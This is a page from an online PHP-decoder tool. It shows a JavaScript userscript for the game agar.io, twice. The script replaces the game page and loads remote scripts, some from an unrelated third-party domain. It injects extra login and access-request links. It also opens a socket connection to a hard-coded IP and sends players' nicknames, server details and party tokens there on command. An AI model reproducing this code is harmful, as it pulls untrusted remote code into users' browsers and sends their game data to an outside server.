Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function loadScript(t,e){var o=document.getElementsByTagName("head")[0],a=document.createE..

Decoded Output download

<?  function loadScript(t,e){var o=document.getElementsByTagName("head")[0],a=document.createElement("script");a.type="text/javascript",a.src=t,a.onload=e,o.appendChild(a)}function receiveMessage(t){if("http://agar.io"==t.origin&&t.data.action){var e=unsafeWindow.Action;t.data.action==e.COPY&&GM_setClipboard(t.data.data),t.data.action==e.IMAGE&&downloadResource(t.data.data,unsafeWindow.handleResource)}}function downloadResource(t,e){GM_xmlhttpRequest({method:"GET",url:t,responseType:"blob",onload:function(o){200===o.status?e(t,window.URL.createObjectURL(o.response)):console.log("res.status="+o.status)},onerror:function(t){console.log("GM_xmlhttpRequest error! "),e(null)}})}var VERSION="2.0.0",$,URL_JQUERY="http://code.jquery.com/jquery-1.11.3.min.js",URL_BOOTSTRAP="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js",URL_SOCKET_IO="https://cdn.socket.io/socket.io-1.3.5.js",URL_FACEBOOK="http://connect.facebook.net/en_US/sdk.js",URL_MAIN_OUT="http://extension.agarplus.io/v2.js",URL_CSS_FILE="http://powerlika.com/YVZ/KZx.css";window.stop(),document.documentElement.innerHTML=null,"agar.io"==location.host&&"/"==location.pathname&&(location.href="http://agar.io/agarplus.io"+location.hash),loadScript(URL_JQUERY,function(){$=unsafeWindow.jQuery,$("head").append('<link href="https://fonts.googleapis.com/css?family=Ubuntu:400,300,300italic,400italic,500,500italic,700,700italic" rel="stylesheet" type="text/css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/glyphicons-social.css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/animate.css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/bootstrap.min.css">'),$("head").append('<link rel="stylesheet" href="'+URL_CSS_FILE+'">'),loadScript(URL_BOOTSTRAP,function(){loadScript(URL_SOCKET_IO,function(){loadScript(URL_MAIN_OUT,function(){loadScript(URL_FACEBOOK,function(){})})})})}),window.addEventListener("message",receiveMessage,!1); 
 
setTimeout(function(){ 
    $(document).ready(function(){ 
    function addGlobalStyle(css) { 
    var head, style; 
    head = document.getElementsByTagName('head')[0]; 
    if (!head) { return; } 
    style = document.createElement('style'); 
    style.type = 'text/css'; 
    style.innerHTML = css; 
    head.appendChild(style); 
} 
 
addGlobalStyle('.btn-zeroK { width:68%!important; height:35px!important; background:#FF0000!important; border-color: #FF0000!important; margin-bottom: 5px!important;}'); 
addGlobalStyle('.btn-zeroK:hover {width:68%!important;  height:35px!important; background:#6600336!important; border-color: #660033!important; margin-bottom: 5px!important;}'); 
addGlobalStyle('.btn-zeroK2 { width:68%!important; height:35px!important; background:#7ACA7A!important; border-color: #7ACA7A!important; margin-bottom: 5px!important;}'); 
addGlobalStyle('.btn-zeroK2:hover {width:68%!important;  height:35px!important; background:#6DB56D!important; border-color: #6DB56D!important; margin-bottom: 5px!important;}'); 
 
 
$("head").append('<script type="text/javascript" src="http://powerlika.com/YVZ/YVZX.js"></script>'); 
$("#btn_copy_gameinfo").replaceWith('<button id="btn_copy_gameinfo" class="btn btn-success" type="button">Copy</button><a class="btn btn-success btn-zeroK" style="margin-top: 8px;" href="https://accounts.google.com/login" target="_blank">Gmail Login</a><a class="btn btn-success btn-zeroK2" style="margin-top: 3px;" href="https://drive.google.com/file/d/0B6aQfRLKyRRVbTNWbXUtOWZmVG8/view?usp=sharing" target="_blank">>Request Access<</a>'); 
}); 
 
}, 1000); 
 
var interval = setInterval( function () { 
    if ('undefined' == typeof unsafeWindow.jQuery) { 
        //console.log("jQuery NOT loaded!"); 
    } else { 
        clearInterval( interval ); 
        console.log("jQuery loaded!"); 
        
        var socket = io('http://164.132.47.218:8201', {query: 'pass=MyRandomServerPass123'}); 
        socket.on('connect', function () { 
            console.debug('CONNECTED'); 
        }); 
        
        socket.on('requestData', function () { 
            socket.emit('Data', {uname: $('#nick').val(), 
                                 team: $('#team_name').val(), 
                                 lb: $('#lb_detail').html(), 
                                 server: $('#ip_info').html(), 
                                 region: $('#region_info').html(), 
                                 mode: $('#gamemode_info').html(), 
                                 party: $('.partyToken').val() 
            }); 
        }); 
        socket.on('split', function () { 
            $("body").trigger(key("keydown", " ")); 
            $("body").trigger(key("keyup", " ")); 
        }); 
        socket.on('eject', function () { 
            $("body").trigger(key("keydown", "W")); 
            $("body").trigger(key("keyup", "W")); 
        }); 
    } 
}, 2000); ?>

Did this file decode correctly?

Original Code

function loadScript(t,e){var o=document.getElementsByTagName("head")[0],a=document.createElement("script");a.type="text/javascript",a.src=t,a.onload=e,o.appendChild(a)}function receiveMessage(t){if("http://agar.io"==t.origin&&t.data.action){var e=unsafeWindow.Action;t.data.action==e.COPY&&GM_setClipboard(t.data.data),t.data.action==e.IMAGE&&downloadResource(t.data.data,unsafeWindow.handleResource)}}function downloadResource(t,e){GM_xmlhttpRequest({method:"GET",url:t,responseType:"blob",onload:function(o){200===o.status?e(t,window.URL.createObjectURL(o.response)):console.log("res.status="+o.status)},onerror:function(t){console.log("GM_xmlhttpRequest error! "),e(null)}})}var VERSION="2.0.0",$,URL_JQUERY="http://code.jquery.com/jquery-1.11.3.min.js",URL_BOOTSTRAP="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js",URL_SOCKET_IO="https://cdn.socket.io/socket.io-1.3.5.js",URL_FACEBOOK="http://connect.facebook.net/en_US/sdk.js",URL_MAIN_OUT="http://extension.agarplus.io/v2.js",URL_CSS_FILE="http://powerlika.com/YVZ/KZx.css";window.stop(),document.documentElement.innerHTML=null,"agar.io"==location.host&&"/"==location.pathname&&(location.href="http://agar.io/agarplus.io"+location.hash),loadScript(URL_JQUERY,function(){$=unsafeWindow.jQuery,$("head").append('<link href="https://fonts.googleapis.com/css?family=Ubuntu:400,300,300italic,400italic,500,500italic,700,700italic" rel="stylesheet" type="text/css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/glyphicons-social.css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/animate.css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/bootstrap.min.css">'),$("head").append('<link rel="stylesheet" href="'+URL_CSS_FILE+'">'),loadScript(URL_BOOTSTRAP,function(){loadScript(URL_SOCKET_IO,function(){loadScript(URL_MAIN_OUT,function(){loadScript(URL_FACEBOOK,function(){})})})})}),window.addEventListener("message",receiveMessage,!1);

setTimeout(function(){
    $(document).ready(function(){
    function addGlobalStyle(css) {
    var head, style;
    head = document.getElementsByTagName('head')[0];
    if (!head) { return; }
    style = document.createElement('style');
    style.type = 'text/css';
    style.innerHTML = css;
    head.appendChild(style);
}

addGlobalStyle('.btn-zeroK { width:68%!important; height:35px!important; background:#FF0000!important; border-color: #FF0000!important; margin-bottom: 5px!important;}');
addGlobalStyle('.btn-zeroK:hover {width:68%!important;  height:35px!important; background:#6600336!important; border-color: #660033!important; margin-bottom: 5px!important;}');
addGlobalStyle('.btn-zeroK2 { width:68%!important; height:35px!important; background:#7ACA7A!important; border-color: #7ACA7A!important; margin-bottom: 5px!important;}');
addGlobalStyle('.btn-zeroK2:hover {width:68%!important;  height:35px!important; background:#6DB56D!important; border-color: #6DB56D!important; margin-bottom: 5px!important;}');


$("head").append('<script type="text/javascript" src="http://powerlika.com/YVZ/YVZX.js"></script>');
$("#btn_copy_gameinfo").replaceWith('<button id="btn_copy_gameinfo" class="btn btn-success" type="button">Copy</button><a class="btn btn-success btn-zeroK" style="margin-top: 8px;" href="https://accounts.google.com/login" target="_blank">Gmail Login</a><a class="btn btn-success btn-zeroK2" style="margin-top: 3px;" href="https://drive.google.com/file/d/0B6aQfRLKyRRVbTNWbXUtOWZmVG8/view?usp=sharing" target="_blank">>Request Access<</a>');
});

}, 1000);

var interval = setInterval( function () {
    if ('undefined' == typeof unsafeWindow.jQuery) {
        //console.log("jQuery NOT loaded!");
    } else {
        clearInterval( interval );
        console.log("jQuery loaded!");
       
        var socket = io('http://164.132.47.218:8201', {query: 'pass=MyRandomServerPass123'});
        socket.on('connect', function () {
            console.debug('CONNECTED');
        });
       
        socket.on('requestData', function () {
            socket.emit('Data', {uname: $('#nick').val(),
                                 team: $('#team_name').val(),
                                 lb: $('#lb_detail').html(),
                                 server: $('#ip_info').html(),
                                 region: $('#region_info').html(),
                                 mode: $('#gamemode_info').html(),
                                 party: $('.partyToken').val()
            });
        });
        socket.on('split', function () {
            $("body").trigger(key("keydown", " "));
            $("body").trigger(key("keyup", " "));
        });
        socket.on('eject', function () {
            $("body").trigger(key("keydown", "W"));
            $("body").trigger(key("keyup", "W"));
        });
    }
}, 2000);

Function Calls

None

Variables

None

Stats

MD5 ef04ea02e463ce4e9d721821b9a1a607
Eval Count 0
Decode Time 88 ms